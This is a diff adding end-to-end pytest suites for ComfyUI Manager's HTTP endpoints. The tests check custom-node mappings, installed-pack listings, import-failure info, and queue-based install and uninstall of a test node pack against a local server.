f"status={resp.status_code}, body={resp.text[:300]}"
|
||||
)
|
||||
assert "Invalid channel name" in resp.text, (
|
||||
f"Expected 'Invalid channel name' in rejection text; got: "
|
||||
f"{resp.text[:300]}"
|
||||
)
|
||||
@@ -0,0 +1,444 @@
|
||||
"""E2E tests for ComfyUI Manager custom node information endpoints.
|
||||
|
||||
Tests the custom node information and mapping endpoints:
|
||||
- GET /v2/customnode/getmappings — node-to-package mappings
|
||||
- GET /v2/customnode/fetch_updates — update check (deprecated, 410)
|
||||
- GET /v2/customnode/installed — installed packages dict
|
||||
- POST /v2/customnode/import_fail_info — single node failure info
|
||||
- POST /v2/customnode/import_fail_info_bulk — bulk node failure info
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_customnode_info.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
# Seed pack for the `installed` tests — same CNR test package used by
|
||||
# test_e2e_endpoint.py / test_e2e_task_operations.py. Installed by the
|
||||
# `seed_pack_on_disk` autouse fixture below (this module runs
|
||||
# alphabetically BEFORE test_e2e_endpoint.py, so it cannot rely on that
|
||||
# module having installed the pack — on a fresh E2E env nothing else
|
||||
# seeds it).
|
||||
PACK_ID = "ComfyUI_SigmoidOffsetScheduler"
|
||||
PACK_DIR_NAME = "ComfyUI_SigmoidOffsetScheduler"
|
||||
PACK_VERSION = "1.0.1"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
def _pack_exists() -> bool:
|
||||
return os.path.isdir(os.path.join(CUSTOM_NODES, PACK_DIR_NAME))
|
||||
|
||||
|
||||
def _cm_cli_path() -> str:
|
||||
if sys.platform == "win32":
|
||||
return os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
|
||||
return os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
|
||||
|
||||
|
||||
@pytest.fixture(scope="module", autouse=True)
|
||||
def seed_pack_on_disk():
|
||||
"""Ensure the seed pack is on disk BEFORE the server starts.
|
||||
|
||||
The `installed?mode=imported` test asserts against the startup
|
||||
snapshot, which is frozen when the server boots — so the pack must be
|
||||
installed before the module's `comfyui` fixture launches it. Autouse +
|
||||
module scope guarantees this fixture is instantiated ahead of the
|
||||
non-autouse `comfyui` fixture. Installs via cm-cli (no server needed,
|
||||
creates the same CNR `.tracking` layout) and removes the pack on
|
||||
teardown only if this fixture installed it, leaving the environment
|
||||
as found.
|
||||
"""
|
||||
installed_by_fixture = False
|
||||
if not _pack_exists():
|
||||
env = {**os.environ, "COMFYUI_PATH": COMFYUI_PATH}
|
||||
r = subprocess.run(
|
||||
[_cm_cli_path(), "install", f"{PACK_ID}@{PACK_VERSION}"],
|
||||
capture_output=True, text=True, timeout=300, env=env,
|
||||
)
|
||||
assert r.returncode == 0 and _pack_exists(), (
|
||||
f"seed fixture failed: cm-cli install {PACK_ID}@{PACK_VERSION} "
|
||||
f"(exit {r.returncode})\nSTDOUT: {r.stdout[-500:]}\n"
|
||||
f"STDERR: {r.stderr[-500:]}"
|
||||
)
|
||||
installed_by_fixture = True
|
||||
|
||||
yield PACK_ID
|
||||
|
||||
if installed_by_fixture:
|
||||
shutil.rmtree(
|
||||
os.path.join(CUSTOM_NODES, PACK_DIR_NAME), ignore_errors=True
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — getmappings
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestCustomNodeMappings:
|
||||
"""Test GET /v2/customnode/getmappings."""
|
||||
|
||||
def test_getmappings_returns_dict(self, comfyui):
|
||||
"""GET /v2/customnode/getmappings?mode=local returns non-empty mapping with valid per-entry schema.
|
||||
|
||||
WI-M strengthening: previously only dict-type check. Now verifies
|
||||
content-level invariants: non-empty DB (the manager ships with the
|
||||
full custom-node mappings baked in), and every entry conforms to
|
||||
the documented `[node_list: list, metadata: dict]` shape on a
|
||||
random sample. Defeats a regression where the DB loader returns
|
||||
an empty `{}` (dict type PASS, zero-utility content).
|
||||
"""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/getmappings",
|
||||
params={"mode": "local"},
|
||||
timeout=30,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"Expected dict response, got {type(data).__name__}"
|
||||
)
|
||||
# Content: at least 1 entry (E2E env ships the stock DB with thousands
|
||||
# of mappings; anything < 100 suggests DB load regression).
|
||||
assert len(data) >= 100, (
|
||||
f"getmappings returned only {len(data)} entries — DB load regression?"
|
||||
)
|
||||
# Structural sample: first 5 entries must conform to [node_list, metadata].
|
||||
for i, (key, entry) in enumerate(list(data.items())[:5]):
|
||||
assert isinstance(entry, list) and len(entry) >= 2, (
|
||||
f"Entry {i} ({key!r}) not [node_list, metadata]: {entry!r}"
|
||||
)
|
||||
assert isinstance(entry[0], list), (
|
||||
f"Entry {i} node_list is not a list: {type(entry[0]).__name__}"
|
||||
)
|
||||
assert isinstance(entry[1], dict), (
|
||||
f"Entry {i} metadata is not a dict: {type(entry[1]).__name__}"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — fetch_updates (deprecated)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestFetchUpdates:
|
||||
"""Test GET /v2/customnode/fetch_updates (deprecated endpoint)."""
|
||||
|
||||
def test_fetch_updates_returns_deprecated(self, comfyui):
|
||||
"""GET /v2/customnode/fetch_updates returns 410 Gone with deprecation notice."""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/fetch_updates",
|
||||
params={"mode": "local"},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 410, (
|
||||
f"Expected 410 (Gone) for deprecated endpoint, got {resp.status_code}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert data.get("deprecated") is True, (
|
||||
"Response should include 'deprecated: true'"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — installed
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestInstalledPacks:
|
||||
"""Test GET /v2/customnode/installed."""
|
||||
|
||||
def test_installed_returns_dict(self, comfyui):
|
||||
"""GET /v2/customnode/installed returns dict containing seeded E2E pack with valid per-entry schema.
|
||||
|
||||
WI-M strengthening: previously only dict-type check. The module's
|
||||
`seed_pack_on_disk` autouse fixture installs
|
||||
`ComfyUI_SigmoidOffsetScheduler` (the test package used across
|
||||
task_operations/endpoint tests) before the server starts.
|
||||
We now assert it's in the installed dict AND
|
||||
that its entry has the documented InstalledPack fields
|
||||
(cnr_id/ver/enabled). Defeats a regression where `installed` returns
|
||||
an empty dict despite packs existing on disk.
|
||||
"""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed", timeout=10
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"Expected dict response, got {type(data).__name__}"
|
||||
)
|
||||
# Content: E2E seed pack must be present.
|
||||
seed_pack = "ComfyUI_SigmoidOffsetScheduler"
|
||||
assert seed_pack in data, (
|
||||
f"Seeded E2E pack {seed_pack!r} missing from installed dict. "
|
||||
f"Keys: {list(data.keys())}"
|
||||
)
|
||||
# Schema: the seed pack's entry must carry the documented fields.
|
||||
entry = data[seed_pack]
|
||||
assert isinstance(entry, dict), (
|
||||
f"{seed_pack} entry should be a dict, got {type(entry).__name__}"
|
||||
)
|
||||
for required_key in ("cnr_id", "ver", "enabled"):
|
||||
assert required_key in entry, (
|
||||
f"{seed_pack} entry missing required key {required_key!r}: {entry!r}"
|
||||
)
|
||||
|
||||
def test_installed_imported_mode(self, comfyui):
|
||||
"""GET ?mode=imported returns the frozen startup snapshot with schema.
|
||||
|
||||
WI-T Cluster G target 4 (research-cluster-g.md Strategy A):
|
||||
(a) status 200 + dict body (contract)
|
||||
(b) E2E seed pack `ComfyUI_SigmoidOffsetScheduler` is in the snapshot
|
||||
(c) each entry carries the documented InstalledPack schema —
|
||||
cnr_id / ver / enabled (aux_id is Optional)
|
||||
(d) frozen-at-startup invariant (cheap form) — no install has run
|
||||
since server start, so imported keys == default keys.
|
||||
|
||||
Design intent (glob/manager_server.py:1510-1520): `imported` returns
|
||||
the module-level `startup_time_installed_node_packs` captured once at
|
||||
import; `default` re-scans the filesystem. At test time they must
|
||||
agree on keys. Divergence post-install is covered by the
|
||||
[E2E-DEBT] companion below.
|
||||
"""
|
||||
# (a) Frozen snapshot
|
||||
resp_imp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed",
|
||||
params={"mode": "imported"},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp_imp.status_code == 200, (
|
||||
f"Expected 200 for imported mode, got {resp_imp.status_code}"
|
||||
)
|
||||
imported = resp_imp.json()
|
||||
assert isinstance(imported, dict), (
|
||||
f"Expected dict response, got {type(imported).__name__}"
|
||||
)
|
||||
|
||||
# (b) E2E seed pack must appear in the startup snapshot
|
||||
seed = "ComfyUI_SigmoidOffsetScheduler"
|
||||
assert seed in imported, (
|
||||
f"seed pack {seed!r} missing from imported snapshot; "
|
||||
f"keys={list(imported)}"
|
||||
)
|
||||
|
||||
# (c) Schema: each entry carries cnr_id / ver / enabled
|
||||
entry = imported[seed]
|
||||
assert isinstance(entry, dict), (
|
||||
f"{seed} entry should be dict, got {type(entry).__name__}: {entry!r}"
|
||||
)
|
||||
for required in ("cnr_id", "ver", "enabled"):
|
||||
assert required in entry, (
|
||||
f"{seed} entry missing required field {required!r}: {entry!r}"
|
||||
)
|
||||
|
||||
# (d) Frozen invariant (cheap form): no install has run since startup,
|
||||
# so imported keys must equal default keys at this point.
|
||||
resp_def = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed", timeout=10,
|
||||
)
|
||||
assert resp_def.status_code == 200
|
||||
default = resp_def.json()
|
||||
assert set(imported.keys()) == set(default.keys()), (
|
||||
f"imported != default at startup (no install has run): "
|
||||
f"only-imported={set(imported) - set(default)}, "
|
||||
f"only-default={set(default) - set(imported)}"
|
||||
)
|
||||
|
||||
# WI-OO Item 4 (bloat reviewer:ci-013 B7 stale-skip): removed
|
||||
# `test_imported_mode_is_frozen_after_install` — the body was a TODO stub
|
||||
# masked by a skip marker. With no install trigger between the two
|
||||
# imported-mode GETs, `snap_before == snap_after` held trivially; the test
|
||||
# could not prove the frozen-invariant it claimed. The E2E-DEBT for a true
|
||||
# mid-session install (Strategy B) remains — when revisited, add a fresh
|
||||
# test that actually exercises /v2/customnode/install or FS manipulation
|
||||
# between the two snapshots. Strategy A (cheap equality at startup) is
|
||||
# already covered by `test_installed_imported_mode` above.
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — import_fail_info
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestImportFailInfo:
|
||||
"""Test POST /v2/customnode/import_fail_info."""
|
||||
|
||||
def test_unknown_cnr_id_returns_400(self, comfyui):
|
||||
"""POST with unknown cnr_id returns 400 (no failure info available)."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info",
|
||||
json={"cnr_id": "nonexistent_pack_that_does_not_exist_12345"},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Expected 400 for unknown cnr_id, got {resp.status_code}"
|
||||
)
|
||||
|
||||
def test_missing_fields_returns_400(self, comfyui):
|
||||
"""POST without cnr_id or url returns 400."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info",
|
||||
json={"invalid_field": "value"},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Expected 400 for missing fields, got {resp.status_code}"
|
||||
)
|
||||
|
||||
def test_invalid_body_returns_error(self, comfyui):
|
||||
"""POST with non-dict body returns 400."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info",
|
||||
json="not-a-dict",
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Expected 400 for non-dict body, got {resp.status_code}"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — import_fail_info_bulk
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestImportFailInfoBulk:
|
||||
"""Test POST /v2/customnode/import_fail_info_bulk."""
|
||||
|
||||
def test_bulk_with_cnr_ids_returns_dict(self, comfyui):
|
||||
"""POST with cnr_ids list returns 200 with results dict."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info_bulk",
|
||||
json={"cnr_ids": ["nonexistent_pack_12345"]},
|
||||
timeout=30,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"Expected dict response, got {type(data).__name__}"
|
||||
)
|
||||
# Unknown pack should have null value (no error info)
|
||||
assert "nonexistent_pack_12345" in data, (
|
||||
"Response should contain entry for requested cnr_id"
|
||||
)
|
||||
assert data["nonexistent_pack_12345"] is None, (
|
||||
"Unknown pack should map to null (no import failure info)"
|
||||
)
|
||||
|
||||
def test_bulk_empty_lists_returns_400(self, comfyui):
|
||||
"""POST with empty cnr_ids and no urls returns 400."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info_bulk",
|
||||
json={"cnr_ids": [], "urls": []},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Expected 400 for empty lists, got {resp.status_code}"
|
||||
)
|
||||
|
||||
def test_bulk_with_urls_returns_dict(self, comfyui):
|
||||
"""POST with urls list returns 200 + per-url result of None (unknown) or dict (found).
|
||||
|
||||
WI-M strengthening: previously only dict-type check. Now verifies
|
||||
per-url result correctness: each requested URL MUST appear as a key,
|
||||
and the value is either `None` (unknown URL — expected for the fake
|
||||
URL we send) or a `dict` (populated fail-info). Anything else
|
||||
(e.g. a bare string, a list, or missing-key) is a schema violation.
|
||||
"""
|
||||
fake_url = "https://github.com/nonexistent/nonexistent-node-pack"
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info_bulk",
|
||||
json={"urls": [fake_url]},
|
||||
timeout=30,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"Expected dict response, got {type(data).__name__}"
|
||||
)
|
||||
# Content: the URL we queried must be a key in the response.
|
||||
assert fake_url in data, (
|
||||
f"Requested URL missing from bulk response. Expected key {fake_url!r}, "
|
||||
f"got keys: {list(data.keys())}"
|
||||
)
|
||||
# Per-URL value must be None (unknown, expected here) or dict (populated).
|
||||
result = data[fake_url]
|
||||
assert result is None or isinstance(result, dict), (
|
||||
f"bulk[{fake_url!r}] must be None or dict, got {type(result).__name__}: {result!r}"
|
||||
)
|
||||
@@ -0,0 +1,291 @@
|
||||
"""E2E tests for ComfyUI Manager HTTP API endpoints (install/uninstall).
|
||||
|
||||
Starts a real ComfyUI instance, exercises the task-queue-based install
|
||||
and uninstall endpoints, then verifies the results via the installed-list
|
||||
endpoint and filesystem checks.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Install test methodology follows the main comfyui-manager test suite
|
||||
(tests/glob/test_queue_task_api.py):
|
||||
- Uses a CNR-registered package with proper version-based install
|
||||
- Verifies .tracking file for CNR installs
|
||||
- Checks installed-list API with cnr_id matching
|
||||
- Cleans up .disabled/ directory entries
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_endpoint.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
# CNR-registered package with multiple versions, no heavy dependencies.
|
||||
# Same test package used by the main comfyui-manager test suite.
|
||||
PACK_ID = "ComfyUI_SigmoidOffsetScheduler"
|
||||
PACK_DIR_NAME = "ComfyUI_SigmoidOffsetScheduler"
|
||||
PACK_CNR_ID = "comfyui_sigmoidoffsetscheduler"
|
||||
PACK_VERSION = "1.0.1"
|
||||
|
||||
# Polling configuration for async task completion
|
||||
POLL_TIMEOUT = 30 # max seconds to wait for an operation
|
||||
POLL_INTERVAL = 0.5 # seconds between polls
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
def _queue_task(task: dict) -> None:
|
||||
"""Queue a task and start the worker."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/task",
|
||||
json=task,
|
||||
timeout=10,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
requests.post(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
|
||||
|
||||
|
||||
def _remove_pack(name: str) -> None:
|
||||
"""Remove a node pack directory and any .disabled/ entries."""
|
||||
# Active directory
|
||||
path = os.path.join(CUSTOM_NODES, name)
|
||||
if os.path.islink(path):
|
||||
os.unlink(path)
|
||||
elif os.path.isdir(path):
|
||||
shutil.rmtree(path, ignore_errors=True)
|
||||
# .disabled/ entries (CNR versioned + nightly)
|
||||
disabled_dir = os.path.join(CUSTOM_NODES, ".disabled")
|
||||
if os.path.isdir(disabled_dir):
|
||||
cnr_lower = name.lower().replace("_", "").replace("-", "")
|
||||
for entry in os.listdir(disabled_dir):
|
||||
entry_lower = entry.lower().replace("_", "").replace("-", "")
|
||||
if entry_lower.startswith(cnr_lower):
|
||||
entry_path = os.path.join(disabled_dir, entry)
|
||||
if os.path.isdir(entry_path):
|
||||
shutil.rmtree(entry_path, ignore_errors=True)
|
||||
|
||||
|
||||
def _pack_exists(name: str) -> bool:
|
||||
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
|
||||
|
||||
|
||||
def _has_tracking(name: str) -> bool:
|
||||
"""Check if the pack has a .tracking file (CNR install marker)."""
|
||||
return os.path.isfile(os.path.join(CUSTOM_NODES, name, ".tracking"))
|
||||
|
||||
|
||||
def _wait_for(predicate, timeout=POLL_TIMEOUT, interval=POLL_INTERVAL):
|
||||
"""Poll *predicate* until it returns True or *timeout* seconds elapse.
|
||||
|
||||
Returns True if predicate was satisfied, False on timeout.
|
||||
"""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if predicate():
|
||||
return True
|
||||
time.sleep(interval)
|
||||
return False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
_remove_pack(PACK_DIR_NAME)
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
_remove_pack(PACK_DIR_NAME)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestEndpointInstallUninstall:
|
||||
"""Install and uninstall via HTTP endpoints on a running ComfyUI.
|
||||
|
||||
Follows the same methodology as tests/glob/test_queue_task_api.py in
|
||||
the main comfyui-manager repo: CNR version-based install, .tracking
|
||||
verification, installed-list API check.
|
||||
"""
|
||||
|
||||
def test_install_via_endpoint(self, comfyui):
|
||||
"""POST /v2/manager/queue/task (install) -> pack appears on disk with .tracking."""
|
||||
_remove_pack(PACK_DIR_NAME)
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-install",
|
||||
"client_id": "e2e-install",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": PACK_ID,
|
||||
"version": PACK_VERSION,
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
},
|
||||
})
|
||||
assert _wait_for(
|
||||
lambda: _pack_exists(PACK_DIR_NAME),
|
||||
), f"{PACK_DIR_NAME} not found in custom_nodes within {POLL_TIMEOUT}s"
|
||||
assert _has_tracking(PACK_DIR_NAME), f"{PACK_DIR_NAME} missing .tracking (not a CNR install?)"
|
||||
|
||||
def test_installed_list_shows_pack(self, comfyui):
|
||||
"""GET /v2/customnode/installed includes the installed pack."""
|
||||
# Self-contained precondition: ensure pack installed (don't rely on prior test)
|
||||
if not _pack_exists(PACK_DIR_NAME):
|
||||
_queue_task({
|
||||
"ui_id": "e2e-setup",
|
||||
"client_id": "e2e-setup",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": PACK_ID,
|
||||
"version": PACK_VERSION,
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
},
|
||||
})
|
||||
assert _wait_for(lambda: _pack_exists(PACK_DIR_NAME)), (
|
||||
"Setup failed: pack not installed"
|
||||
)
|
||||
|
||||
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
resp.raise_for_status()
|
||||
installed = resp.json()
|
||||
|
||||
package_found = any(
|
||||
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
|
||||
for pkg in installed.values()
|
||||
if isinstance(pkg, dict) and pkg.get("cnr_id")
|
||||
)
|
||||
assert package_found, (
|
||||
f"{PACK_CNR_ID} not found in installed list: {list(installed.keys())}"
|
||||
)
|
||||
|
||||
def test_uninstall_via_endpoint(self, comfyui):
|
||||
"""POST /v2/manager/queue/task (uninstall) -> pack removed from disk AND absent from API.
|
||||
|
||||
WI-N strengthening: previously FS-only (`not _pack_exists`). The API
|
||||
`installed` endpoint is the authoritative contract surface: a pack is
|
||||
"uninstalled" only when both the filesystem entry is gone AND the
|
||||
Manager's in-memory installed-index no longer lists its cnr_id.
|
||||
Defeats a regression where the FS delete succeeds but the installed
|
||||
cache still reports the pack (e.g. cache-invalidation bug).
|
||||
"""
|
||||
# Self-contained: ensure pack is installed before testing uninstall
|
||||
if not _pack_exists(PACK_DIR_NAME):
|
||||
_queue_task({
|
||||
"ui_id": "e2e-uninstall-setup",
|
||||
"client_id": "e2e-uninstall-setup",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": PACK_ID,
|
||||
"version": PACK_VERSION,
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
},
|
||||
})
|
||||
assert _wait_for(lambda: _pack_exists(PACK_DIR_NAME)), (
|
||||
"Setup failed: cannot install pack for uninstall test"
|
||||
)
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-uninstall",
|
||||
"client_id": "e2e-uninstall",
|
||||
"kind": "uninstall",
|
||||
"params": {
|
||||
"node_name": PACK_CNR_ID,
|
||||
},
|
||||
})
|
||||
assert _wait_for(
|
||||
lambda: not _pack_exists(PACK_DIR_NAME),
|
||||
), f"{PACK_DIR_NAME} still exists after uninstall ({POLL_TIMEOUT}s timeout)"
|
||||
|
||||
# API cross-check: cnr_id must be absent from /v2/customnode/installed.
|
||||
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
resp.raise_for_status()
|
||||
installed = resp.json()
|
||||
package_found = any(
|
||||
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
|
||||
for pkg in installed.values()
|
||||
if isinstance(pkg, dict) and pkg.get("cnr_id")
|
||||
)
|
||||
assert not package_found, (
|
||||
f"FS delete succeeded but {PACK_CNR_ID} still present in "
|
||||
f"/v2/customnode/installed — cache-invalidation regression. "
|
||||
f"Keys: {list(installed.keys())}"
|
||||
)
|
||||
|
||||
|
||||
class TestEndpointStartup:
|
||||
"""Verify ComfyUI startup with unified resolver."""
|
||||
|
||||
def test_startup_resolver_ran(self, comfyui):
|
||||
"""Startup log contains unified resolver output."""
|
||||
log_path = os.path.join(E2E_ROOT, "logs", "comfyui.log")
|
||||
with open(log_path) as f:
|
||||
log = f.read()
|
||||
assert "[UnifiedDepResolver]" in log
|
||||
assert "startup batch resolution succeeded" in log
|
||||
@@ -0,0 +1,509 @@
|
||||
"""Real ComfyUI HTTP/queue/install tests with a local CNR service and harmless ZIPs.
|
||||
|
||||
Run with E2E_ROOT pointing to the existing ComfyUI + venv fixture. Each server
|
||||
uses an isolated base directory; no installed nodes or user config are changed.
|
||||
"""
|
||||
|
||||
import ast
|
||||
import configparser
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
import uuid
|
||||
import zipfile
|
||||
from contextlib import contextmanager
|
||||
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from urllib.parse import parse_qs, urlparse
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
